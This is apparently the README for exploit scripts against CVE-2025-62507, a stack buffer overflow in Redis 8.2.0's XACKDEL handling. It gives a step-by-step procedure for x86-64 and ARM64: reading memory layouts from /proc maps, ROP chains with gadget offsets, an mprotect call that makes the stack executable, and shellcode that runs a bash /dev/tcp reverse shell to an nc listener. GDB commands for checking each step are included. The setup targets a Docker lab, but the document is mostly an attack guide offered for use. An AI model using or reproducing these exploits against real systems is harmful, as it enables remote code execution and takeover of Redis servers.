Exploit Scripts — CVE-2025-62507
ディレクトリ構造
scripts/
├── exploit_x86.py # x86-64 ROP exploit
├── exploit_arm64.py # ARM64 (AArch64) ROP exploit
└── gdb_with_symbols.sh # GDB 调试辅助脚本
脆弱性の概要
| 項目 | 説明 |
|---|
| CVE | CVE-2025-62507 |
| 脆弱性タイプ | スタックバッファオーバーフロー (Stack Buffer Overflow) |
| 影響を受けるコンポーネント | Redis 8.2.0 の xackdelCommand 関数 |
| トリガー方法 | XACKDEL コマンドで 52 を超える streamID を送信 |
| 悪用手法 | ROP チェーン → mprotect でスタック実行権限を解放 → shellcode でリバースシェル |
| 依存関係 | Python 3 (標準ライブラリのみ、追加インストール不要) |
前提条件
- 対象環境: 脆弱性のあるバージョンである Redis 8.2.0 を実行している Docker コンテナまたはホスト
- リスニング端末: 攻撃機で事前に
nc -lvnp 4444 を起動し、リバースシェルを待ち受ける
- アドレス取得権限: 対象プロセスの
/proc/<PID>/maps を読み取れる必要がある(root 権限)
- Python 3: 両方の exploit スクリプトは標準ライブラリのみを使用(
socket, struct, time, sys)
クイックスタート
1. 脆弱性のある Redis コンテナを起動
# 在项目根目录执行
docker compose -f docker-compose-vulnerable.yml up -d
# 确认容器运行
docker ps | grep redis-cve-2025-62507
2. 重要なメモリアドレスの取得
REDIS_PID=$(docker top redis-cve-2025-62507 | grep redis-server | grep -v bash | awk '{print $2}')
# x86-64 地址获取
REDIS_BASE=$(sudo cat /proc/$REDIS_PID/maps | grep -w redis-server | head -1 | cut -d'-' -f1)
LIBC_BASE=$(sudo cat /proc/$REDIS_PID/maps | grep libc.so | head -1 | cut -d'-' -f1)
STACK_ADDR=$(sudo cat /proc/$REDIS_PID/maps | grep -w stack | head -1 | cut -d'-' -f1)
echo "REDIS_BASE=$REDIS_BASE LIBC_BASE=$LIBC_BASE STACK_ADDR=$STACK_ADDR"
注意: コンテナを再起動するたびにアドレスは変化する(ASLR)。再取得が必要。
3. リバースシェルのリスナーを起動
# 在宿主机另开一个终端
nc -lvnp 4444
4. exploit を実行
# x86-64
python3 scripts/exploit_x86.py 0x$REDIS_BASE 0x$LIBC_BASE 0x$STACK_ADDR
# ARM64 (Docker QEMU 固定地址, ASLR=OFF)
python3 scripts/exploit_arm64.py 0xaaaaaaaa0000 0xfffff7630000 0xfffffffff7e0 [rev_host] [rev_port] [target]
exploit_x86.py — x86-64 ROP Exploit
使用方法
python3 scripts/exploit_x86.py <redis_base> <libc_base> <stack_addr>
パラメータの説明
ROP チェーンの構成
52 个填充 ID (1-1)
│
▼
ID#53 overflow ──→ pop rdi; ret (redis + 0x82327)
ID#54 ──→ pop rsi; ret (redis + 0x86416)
ID#55 ──→ pop rdx; ret (redis + 0xba1e2)
ID#56 ──→ mprotect() (libc + 0x1019e0)
ID#57 ──→ call rsp (redis + 0x9486d)
ID#58+ ──→ shellcode ──→ system("/bin/bash -c '...'")
Gadget オフセット (redis-server-8.2.0)
リバースシェルアドレスのカスタマイズ
reverse_shell_cmd 変数はスクリプトの 149 行目で定義されており、デフォルト値は以下の通り:
reverse_shell_cmd = "/bin/bash -c '/bin/bash -i >& /dev/tcp/127.0.0.1/4444 0>&1'"
変更方法: exploit_x86.py を編集し、reverse_shell_cmd の行を見つけて IP とポートを置き換える:
ポートの変更: /dev/tcp/<IP>/4444 の 4444 を実際のリスニングポートに置き換える。
stack_page は stack_addr パラメータから動的に計算される: (stack_addr + 0x1000) & ~0xFFF。mprotect のウィンドウが shellcode の存在するスタック領域を確実にカバーする。スタックレイアウトが異常な場合は併せて調整が必要。
exploit_arm64.py — ARM64 ROP Exploit
使用方法
python3 scripts/exploit_arm64.py <redis_base> <libc_base> <stack_addr> [rev_host] [rev_port] [target]
パラメータの説明
ARM64 の注意: stack_addr は xackdelCommand エントリ時点の SP の値([stack] セグメントの開始アドレスではない!)。static_ids[0] = stack_addr - 0x310、call() の保存された x30 は stack_addr + 8 にある(すなわち static_ids[49].seq)。
ROP チェーンの構成
49 个填充 ID (1-1)
│
▼
ID#49-58 call() 尾声帧 (10 IDs) — 覆盖 call() 保存的寄存器和局部变量
│ #49: saved x29 (dummy) + x30 (G5)
│ #50: saved x19/x20, #51: saved x21(=0)/x22
│ #52: x23/x24, #53: x25/x26, #54: x27/x28
│ #55-58: 局部变量 (设为 0)
│
▼ call() ret → SP = stack_addr + 0xa0
│
ID#59-61 Step 1: G5 (redis + 0x1a4d40) x0=writable, → G_SET_X2_7
ID#62-65 Step 2: G_SET_X2_7 (redis + 0x1d7a84) w2=7, → LDR_X1_SIDELOAD
ID#66-67 Step 3: LDR_X1_SIDELOAD (libc + 0x34ab4) x1=0x1000, → G5
ID#68-70 Step 4: G5 (redis + 0x1a4d40) x19=mprotect, → MOV_X3_X19
ID#71-93 Step 5: MOV_X3_X19 (redis + 0x2948b0) x3=mprotect, → LDR_X0_CLEAN
ID#94-95 Step 6: LDR_X0_CLEAN (libc + 0x6ae40) x0=stack_page, → BLR_X3
ID#96-98 Step 7: BLR_X3 (redis + 0x92bc4) call mprotect → shellcode
ID#99+ shellcode — system("/bin/bash -c 'reverse_shell_cmd'")
重要: call() のエピローグ (epilogue) は ret の前にスタックから x19-x28 を復元し、複数のローカル変数を読み込む。ID#49-58 には安全な値を必ず入れる必要がある。そうしないとエピローグ実行中にクラッシュする。ROP チェーンは ID#59(call() の ret 後の SP 位置)から始まる。
Gadget オフセット (redis-server-8.2.0-arm64)
Gadget オフセット (libc.so.6-arm64, Docker コンテナ内)
注意: LDR_X1_SIDELOAD には mov x0, x1 の副作用があり、実行後に x0 は x1 で上書きされる!後続では G5 または LDR_X0_CLEAN で x0 を再設定する必要がある。
リバースシェルアドレスのカスタマイズ
reverse_shell_cmd は build_exploit_arm64() 関数内で rev_shell_host と rev_shell_port パラメータに基づいて動的に構築される:
reverse_shell_cmd = f"/bin/bash -c '/bin/bash -i >& /dev/tcp/{rev_shell_host}/{rev_shell_port} 0>&1'"
推奨方法: コマンドライン引数でリバースシェルアドレスを指定する:
# 默认: 192.168.1.1:4444 → 192.168.1.129:6379
python3 scripts/exploit_arm64.py 0xaaaaaaaa0000 0xfffff7630000 0xfffffffff7e0
# 自定义反弹地址和端口:
python3 scripts/exploit_arm64.py 0xaaaaaaaa0000 0xfffff7630000 0xfffffffff7e0 10.0.0.1 9999 10.0.0.100
# ^^^^^^^^ ^^^^ ^^^^^^^^^^
# rev_host rev_port target
直接変更: exploit_arm64.py を編集し、exploit() 関数のデフォルト引数の値を変更する:
GDB デバッグ
gdb_with_symbols.sh の使用
# 获取 Redis PID
REDIS_PID=$(docker top redis-cve-2025-62507 | grep redis-server | grep -v bash | awk '{print $2}')
# 启动 GDB 并自动设置断点
./scripts/gdb_with_symbols.sh $REDIS_PID
スクリプトは自動的に以下を実行する:
binaries/redis-server-8.2.0 のシンボルテーブルをロード
xackdelCommand にブレークポイントを設定
mprotect にブレークポイントを設定
system にブレークポイントを設定
重要なブレークポイント位置
# xackdelCommand 入口 — 观察正常栈布局
break xackdelCommand
# 第 53 个 streamID 写入后 — 观察返回地址被覆写
# (在循环体内设置条件断点)
# mprotect 调用前 — 验证参数 rdi/rsi/rdx
break mprotect
# system 调用前 — 验证 rdi 指向命令字符串
break system
exploit の主要ステップの検証
# 1. 进入 xackdelCommand 后,找到 static_ids 数组位置
(gdb) x/10gx $rbp - 0x340 # x86-64
(gdb) x/10gx $sp # ARM64
# 2. mprotect 断点触发时,验证参数
(gdb) info registers rdi rsi rdx # x86-64
(gdb) info registers x0 x1 x2 # ARM64
# 预期: rdi/x0=stack_page, rsi/x1=0x20000, rdx/x2=7
# 3. mprotect 返回后,检查 RAX/X0 (=0 表示成功)
(gdb) finish
(gdb) info registers rax # x86-64
(gdb) info registers x0 # ARM64
# 4. 观察 shellcode 执行
(gdb) x/20i $rsp # x86-64: call rsp 后的 shellcode
(gdb) x/20i $x30 # ARM64: 跳转前的返回地址
トラブルシューティング
環境のクリーンアップ
# 停止并删除容器
docker compose -f docker-compose-vulnerable.yml down
ファイルリファレンス